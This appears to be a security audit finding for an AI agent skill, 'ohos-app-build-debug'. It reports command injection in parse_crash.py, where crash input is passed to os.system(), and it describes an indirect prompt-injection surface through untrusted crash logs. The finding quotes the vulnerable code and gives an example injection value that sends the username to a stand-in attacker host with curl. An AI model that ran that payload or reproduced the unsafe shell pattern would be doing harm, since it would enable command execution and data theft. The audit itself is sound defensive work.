The Agent Skills Directory

[COMMAND_EXECUTION]: The script scripts/parse_crash.py is vulnerable to command injection. When the script processes crash content provided via the -c or --content argument, it constructs a command string by joining arguments with spaces and executes it directly through the shell.

Evidence: In scripts/parse_crash.py (lines 123-125):

if not is_file:
    cmd_str = " ".join(hstack_cmd)
    code = os.system(cmd_str)

Vulnerability: The hstack_cmd list includes the user-provided crash_input string. Because os.system() invokes a shell, an attacker can inject shell metacharacters such as ;, &&, ||, or backticks within the crash content to execute arbitrary commands (e.g., -c "stack; curl http://attacker.com/$(whoami)").
[DYNAMIC_EXECUTION]: The skill uses unsafe dynamic execution for shell commands involving untrusted data.
Evidence: While other scripts in the skill correctly use subprocess.run() with a list of arguments (which avoids shell interpolation), scripts/parse_crash.py explicitly switches to os.system() for string-based input to 'handle quotes,' which introduces the injection risk.
[INDIRECT_PROMPT_INJECTION]: The skill creates a surface for indirect prompt injection by processing external, potentially attacker-controlled crash logs.
Ingestion Points: scripts/parse_crash.py reads data from files (-f) or direct strings (-c) that may originate from untrusted sources (e.g., a website or a public issue tracker).
Boundary Markers: None. The script does not validate the format of the crash stack before passing it to the shell.
Capability Inventory: The skill has broad capabilities, including executing shell commands via hdc and hvigorw, and accessing the local file system to store screenshots and logs.
Sanitization: There is no sanitization or escaping of the crash content before it is interpolated into the shell command string.

ohos-app-build-debug